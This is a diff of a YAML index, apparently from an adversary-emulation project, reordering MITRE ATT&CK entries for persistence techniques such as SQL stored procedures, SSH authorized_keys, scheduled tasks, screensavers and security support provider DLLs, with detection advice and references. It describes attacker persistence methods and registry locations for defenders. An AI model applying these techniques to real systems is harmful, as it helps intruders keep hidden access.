-      - source_name: mitre-attack
-        external_id: T1505.001
-        url: https://attack.mitre.org/techniques/T1505/001
-      - source_name: NetSPI Startup Stored Procedures
-        url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
-        description: 'Sutherland, S. (2016, March 7). Maintaining Persistence via
-          SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.'
-      - source_name: Kaspersky MSSQL Aug 2019
-        url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/
-        description: 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote
-          attack on Microsoft SQL Server. Retrieved September 4, 2019.'
-      - source_name: Microsoft xp_cmdshell 2017
-        url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
-        description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved
-          September 9, 2019.
-      - source_name: Microsoft CLR Integration 2017
-        url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
-        description: Microsoft. (2017, June 19). Common Language Runtime Integration.
-          Retrieved July 8, 2019.
-      - source_name: NetSPI SQL Server CLR
-        url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
-        description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies.
-          Retrieved July 8, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: SQL Stored Procedures
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T23:30:20.638Z'
+      created: '2019-12-12T14:59:58.168Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - root
       description: "Adversaries may abuse SQL stored procedures to establish persistent
         access to systems. SQL Stored Procedures are code that can be saved and reused
         so that database users do not waste time rewriting frequently used SQL queries.
@@ -49872,84 +51366,91 @@ persistence:
         or modify CLR assemblies that are linked to stored procedures since these
         CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI
         SQL Server CLR) "
-      id: attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-25T23:30:20.638Z'
-      created: '2019-12-12T14:59:58.168Z'
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - root
-      x_mitre_detection: 'On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation:
-        NetSPI Startup Stored Procedures) Consider enabling audit features that can
-        log malicious startup activities.'
       x_mitre_contributors:
       - Carlos Borges, @huntingneo, CIP
       - Lucas da Silva Pereira, @vulcanunsec, CIP
       - Kaspersky
-      x_mitre_platforms:
-      - Windows
-      - Linux
+      x_mitre_detection: 'On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation:
+        NetSPI Startup Stored Procedures) Consider enabling audit features that can
+        log malicious startup activities.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1505/001
+        external_id: T1505.001
+        source_name: mitre-attack
+      - url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
+        description: 'Sutherland, S. (2016, March 7). Maintaining Persistence via
+          SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.'
+        source_name: NetSPI Startup Stored Procedures
+      - url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/
+        description: 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote
+          attack on Microsoft SQL Server. Retrieved September 4, 2019.'
+        source_name: Kaspersky MSSQL Aug 2019
+      - url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
+        description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved
+          September 9, 2019.
+        source_name: Microsoft xp_cmdshell 2017
+      - url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
+        description: Microsoft. (2017, June 19). Common Language Runtime Integration.
+          Retrieved July 8, 2019.
+        source_name: Microsoft CLR Integration 2017
+      - url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
+        description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies.
+          Retrieved July 8, 2019.
+        source_name: NetSPI SQL Server CLR
     atomic_tests: []
   T1098.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1098.004
-        url: https://attack.mitre.org/techniques/T1098/004
-      - source_name: SSH Authorized Keys
-        url: https://www.ssh.com/ssh/authorized_keys/
-        description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June
-          24, 2020.
-      - source_name: Venafi SSH Key Abuse
-        url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities
-        description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity
-          Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24,
-          2020.'
-      - source_name: Cybereason Linux Exim Worm
-        url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
-        description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting
-          Linux Exim Server Vulnerability. Retrieved June 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: SSH Authorized Keys
-      description: |-
-        Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.
-
-        Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)
-      id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-06-25T16:32:23.367Z'
-      created: '2020-06-24T12:42:35.144Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file.
-
-        Monitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.
+      name: SSH Authorized Keys
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Modification'
-      x_mitre_contributors:
-      - Tony Lambert, Red Canary
+      x_mitre_version: '1.0'
+      modified: '2020-06-25T16:32:23.367Z'
+      created: '2020-06-24T12:42:35.144Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4
       x_mitre_platforms:
       - Linux
       - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.
+
+        Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)
+      x_mitre_contributors:
+      - Tony Lambert, Red Canary
+      x_mitre_detection: |-
+        Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file.
+
+        Monitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1098/004
+        external_id: T1098.004
+        source_name: mitre-attack
+      - url: https://www.ssh.com/ssh/authorized_keys/
+        description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June
+          24, 2020.
+        source_name: SSH Authorized Keys
+      - url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities
+        description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity
+          Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24,
+          2020.'
+        source_name: Venafi SSH Key Abuse
+      - url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
+        description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting
+          Linux Exim Server Vulnerability. Retrieved June 24, 2020.
+        source_name: Cybereason Linux Exim Worm
       identifier: T1098.004
     atomic_tests:
     - name: Modify SSH Authorized Keys
@@ -49973,8 +51474,16 @@ persistence:
 '
   T1053.005:
     technique:
-      created: '2019-11-27T14:58:00.429Z'
+      type: attack-pattern
       modified: '2020-12-30T14:26:44.730Z'
+      name: Scheduled Task
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      created: '2019-11-27T14:58:00.429Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -49982,47 +51491,21 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.005
-        url: https://attack.mitre.org/techniques/T1053/005
-      - url: https://twitter.com/leoloobeek/status/939248813465853953
-        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
-          December 12, 2017.
-        source_name: Twitter Leoloobeek Scheduled Task
-      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
-        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
-          settings. Retrieved December 12, 2017.
-        source_name: TechNet Forum Scheduled Task Operational Setting
-      - url: https://technet.microsoft.com/library/dd315590.aspx
-        description: Microsoft. (n.d.). General Task Registration. Retrieved December
-          12, 2017.
-        source_name: TechNet Scheduled Task Events
-      - source_name: Microsoft Scheduled Task Events Win10
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
-        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
-          Retrieved June 27, 2019.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Scheduled Task
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
       description: |-
         Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
 
         The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.
 
         An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
-      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
 
@@ -50038,13 +51521,31 @@ persistence:
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
 
         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/005
+        external_id: T1053.005
+        source_name: mitre-attack
+      - source_name: Twitter Leoloobeek Scheduled Task
+        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
+          December 12, 2017.
+        url: https://twitter.com/leoloobeek/status/939248813465853953
+      - source_name: TechNet Forum Scheduled Task Operational Setting
+        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
+          settings. Retrieved December 12, 2017.
+        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
+      - source_name: TechNet Scheduled Task Events
+        description: Microsoft. (n.d.). General Task Registration. Retrieved December
+          12, 2017.
+        url: https://technet.microsoft.com/library/dd315590.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
+        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
+          Retrieved June 27, 2019.
+        source_name: Microsoft Scheduled Task Events Win10
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1053.005
     atomic_tests:
     - name: Scheduled Task Startup Script
@@ -50228,27 +51729,44 @@ persistence:
         name: command_prompt
   T1053:
     technique:
-      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Scheduled Task/Job
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Container: Container Creation'
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.1'
+      modified: '2021-10-15T14:36:26.445Z'
+      created: '2017-05-31T21:30:46.977Z'
+      x_mitre_contributors:
+      - Prashant Verma, Paladion
+      - Leo Loobeek, @leoloobeek
+      - Travis Smith, Tripwire
+      - Alain Homewood, Insomnia Security
+      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: |-
         Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)
 
         Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053
-        url: https://attack.mitre.org/techniques/T1053
-      - external_id: CAPEC-557
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/557.html
-      - url: https://technet.microsoft.com/en-us/library/cc785125.aspx
-        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
-          June 8, 2016.
-        source_name: TechNet Task Scheduler Security
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - SYSTEM
+      - Administrator
+      - User
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -50256,22 +51774,7 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-20T16:31:11.405Z'
-      created: '2017-05-31T21:30:46.977Z'
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - Containers
       x_mitre_remote_support: true
-      x_mitre_effective_permissions:
-      - SYSTEM
-      - Administrator
-      - User
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -50282,39 +51785,45 @@ persistence:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement."
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Container: Container Creation'
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Prashant Verma, Paladion
-      - Leo Loobeek, @leoloobeek
-      - Travis Smith, Tripwire
-      - Alain Homewood, Insomnia Security
-      x_mitre_version: '2.1'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053
+        external_id: T1053
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/557.html
+        external_id: CAPEC-557
+        source_name: capec
+      - source_name: TechNet Task Scheduler Security
+        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
+          June 8, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc785125.aspx
     atomic_tests: []
   T1546.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.002
-        url: https://attack.mitre.org/techniques/T1546/002
-      - source_name: Wikipedia Screensaver
-        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
-          5, 2017.
-        url: https://en.wikipedia.org/wiki/Screensaver
-      - source_name: ESET Gazer Aug 2017
-        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
-          backdoor. Retrieved September 14, 2017.'
-        url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Screensaver
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-23T12:23:04.955Z'
+      created: '2020-01-24T13:51:01.210Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.
 
@@ -50326,33 +51835,25 @@ persistence:
         * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed
 
         Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
-      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-23T12:23:04.955Z'
-      created: '2020-01-24T13:51:01.210Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Bartosz Jerzman
       x_mitre_detection: |-
         Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.
 
         Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_contributors:
-      - Bartosz Jerzman
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/002
+        external_id: T1546.002
+        source_name: mitre-attack
+      - url: https://en.wikipedia.org/wiki/Screensaver
+        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
+          5, 2017.
+        source_name: Wikipedia Screensaver
+      - url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
+        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
+          backdoor. Retrieved September 14, 2017.'
+        source_name: ESET Gazer Aug 2017
       identifier: T1546.002
     atomic_tests:
     - name: Set Arbitrary Binary as Screensaver
@@ -50381,51 +51882,51 @@ persistence:
         elevation_required: true
   T1547.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.005
-        url: https://attack.mitre.org/techniques/T1547/005
-      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
-        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
-          Provider DLLs. Retrieved March 1, 2017.
-        source_name: Graeber 2014
-      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
-        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
-          Retrieved June 24, 2015.
-        source_name: Microsoft Configure LSA
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-25T15:42:48.910Z'
       name: Security Support Provider
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T17:16:11.806Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
       description: |-
         Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.
 
         The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
-      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-25T15:42:48.910Z'
-      created: '2020-01-24T17:16:11.806Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
         Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
         R2 may generate events when unsigned SSP DLLs try to load into the LSA by
         setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
         File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
         2014) (Citation: Microsoft Configure LSA)'
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/005
+        external_id: T1547.005
+        source_name: mitre-attack
+      - source_name: Graeber 2014
+        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
+          Provider DLLs. Retrieved March 1, 2017.
+        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
+      - source_name: Microsoft Configure LSA
+        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
+          Retrieved June 24, 2015.
+        url: https://technet.microsoft.com/en-us/library/dn408187.aspx
       identifier: T1547.005
     atomic_tests:
     - name: Modify SSP configuration in registry
@@ -50454,40 +51955,10 @@ persistence:
         elevation_required: true
   T1505:
     technique:
-      id: attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb
-      description: Adversaries may abuse legitimate extensible development features
-        of servers to establish persistent access to systems. Enterprise server applications
-        may include features that allow developers to write and install software or
-        scripts to extend the functionality of the main application. Adversaries may
-        install malicious components to extend and abuse server applications.
-      name: Server Software Component
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1505
-        url: https://attack.mitre.org/techniques/T1505
-      - url: https://www.us-cert.gov/ncas/alerts/TA15-314A
-        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
-          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
-        source_name: US-CERT Alert TA15-314A Web Shells
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-09-16T19:34:19.961Z'
-      created: '2019-06-28T17:52:07.296Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - root
-      x_mitre_version: '1.1'
+      name: Server Software Component
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
@@ -50495,6 +51966,27 @@ persistence:
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Traffic Flow'
       - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T17:05:44.743Z'
+      created: '2019-06-28T17:52:07.296Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - root
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb
